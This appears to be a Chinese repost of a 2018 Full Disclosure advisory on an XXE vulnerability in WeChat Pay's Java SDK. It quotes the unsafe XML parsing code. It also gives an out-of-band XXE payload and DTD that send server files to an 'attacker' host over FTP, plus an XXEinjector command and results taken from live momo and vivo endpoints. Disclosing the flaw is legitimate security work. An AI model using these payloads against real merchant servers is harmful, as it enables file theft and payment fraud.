信息来源：http://seclists.org/fulldisclosure/2018/Jul/3
信息源原标题：XXE in WeChat Pay Sdk ( WeChat leave a backdoor on merchant websites)
简讯：
为了商家可以接受异步支付的结果，微信无意中在Java版本的SDK中造成了XXE漏洞。通过利用该漏洞，攻击者可以构造恶意的XML格式的CallBack回调数据窃取商家服务器上的信息，而从这些信息中，攻击者可能获取到十分关键的MD5安全密钥从而实现无需付款即购买商品。
漏洞详情如下：
（整理自：http://seclists.org/fulldisclosure/2018/Jul/3）
【标题】
XXE in WeChat Pay Sdk ( WeChat leave a backdoor on merchant websites)
——————————————
【背景】
“Mobile payments surge to $9 trillion a year, changing how people shop,
borrow—even panhandle”, as WSJ.com once reported. As a payment security
researcher, I occasionally found a perilous problem about WeChat Pay which
I think may be esay to make use of. Therefore, I hope to be able to
contact with WeChat Pay quickly.
——————————————
【描述】
When using WeChat payment merchants need providing a notification URL
to accept asynchronous payment results. Unfortunately, WeChat
unintentionally provides a xxe vulnerability in the JAVA version SDK which
handles this result. The attacker can build malicious payload towards the
notification URL to steal any information of the merchant server as he or
she want. Once the attacker get the crucial security key (md5-key and
merchant-Id etc.) of the merchant , he can even buy anything without paying
by just sending forged info to deceive the merchants.
WeChat can fix it by updating the SDK quite easily, however the bad side
is while exposing merchants may need a long time to go for the sake of time,
cost and skills needed.
——————————————
【作者】
1024fresher
——————————————
【细节】
The SDK in this page: https://pay.weixin.qq.com/wiki/doc/api/jsapi.php
chapter=11_1
Just in java vision:
https://pay.weixin.qq.com/wiki/doc/api/download/WxPayAPI_JAVA_v3.zip
or
https://drive.google.com/file/d/1AoxfkxD7Kokl0uqILaqTnGAXSUR1o6ud/view(
Backup ）
README.md in WxPayApi_JAVA_v3.zip,it show more details:
notify code example:
String notifyData = "....";
MyConfig config = new MyConfig();
WXPay wxpay = new WXPay(config);
//conver to map
Map<String, String> notifyMap = WXPayUtil.xmlToMap(notifyData);
if (wxpay.isPayResultNotifySignatureValid(notifyMap)) {
//do business logic
}
else {
}
WXPayUtil source code
public static Map<String, String> xmlToMap(String strXML) throws
Exception {
try {
Map<String, String> data = new HashMap<String, String>();
/*** not disabled xxe *****/
//start parse
DocumentBuilderFactory documentBuilderFactory =
DocumentBuilderFactory.newInstance();
DocumentBuilder documentBuilder =
documentBuilderFactory.newDocumentBuilder();
InputStream stream = new ByteArrayInputStream(strXML.getBytes(
"UTF-8"));
org.w3c.dom.Document doc = documentBuilder.parse(stream);
//end parse
doc.getDocumentElement().normalize();
NodeList nodeList = doc.getDocumentElement().getChildNodes();
for (int idx = 0; idx < nodeList.getLength(); ++idx) {
Node node = nodeList.item(idx);
if (node.getNodeType() == Node.ELEMENT_NODE) {
org.w3c.dom.Element element = (org.w3c.dom.Element) node
;
data.put(element.getNodeName(), element.getTextContent
());
}
}
try {
stream.close();
} catch (Exception ex) {
// do nothing
}
return data;
} catch (Exception ex) {
WXPayUtil.getLogger().warn("Invalid XML, can not convert to
map. Error message: {}. XML content: {}", ex.getMessage(), strXML);
throw ex;
}
}
——————————————
【攻击演示】
Post merchant notification url with payload:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY % attack SYSTEM "file:///etc/"> <!ENTITY % xxe SYSTEM "http://attacker:8080/shell/data.dtd";> %xxe; ]>
data.dtd:
<!ENTITY % shell "<!ENTITY % upload SYSTEM 'ftp://attack:33/%attack; '>"> %shell; %upload;
or use XXEinjector tool 【https://github.com/enjoiz/XXEinjector】
ruby XXEinjector.rb --host=attacker --path=/etc --file=req.txt --ssl
req.txt :
POST merchant_notification_url HTTP/1.1 Host: merchant_notification_url_host User-Agent: curl/7.43.0 Accept: */* Content-Length: 57 Content-Type: application/x-www-form-urlencoded XXEINJECT
In order to prove this, I got 2 chinese famous company:
a、momo: Well-known chat tools like WeChat
b、vivo ：China’s famous mobile phone,that also famous in my country
Example momo :
attack:
notify url: https://pay.immomo.com/weixin/notify cmd: /home/
result:
*** logs zhang.jiax** zhang.shaol** zhang.xia** ****
attack:
notify url: https://pay.immomo.com/weixin/notify cmd: /home/logs
result:
*** moa-service momotrace ****
Example vivo :
attack:
notify url: https://pay.vivo.com.cn/webpay/wechat/callback.oo cmd: /home/
result:
tomcat
attack:
notify url: https://pay.vivo.com.cn/webpay/wechat/callback.oo cmd: /home/tomcat
result:
.bash_logout .bash_profile .bashrc logs
attack:
notify url: https://pay.vivo.com.cn/webpay/wechat/callback.oo cmd: /home/tomcat/logs
result:
**** tomcat-2018-06-28.log tomcat-2018-06-29.log tomcat-2018-06-30.log *****
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【参考】
https://www.youtube.com/watch?v=BZOg_NgvP18
https://www.blackhat.com/docs/us-15/materials/us-15-Wang-FileCry-The-New-Age-Of-XXE-java-wp.pdf
附：
信息源截图：
截图来源：XXE in WeChat Pay Sdk ( WeChat leave a backdoor on merchant websites)
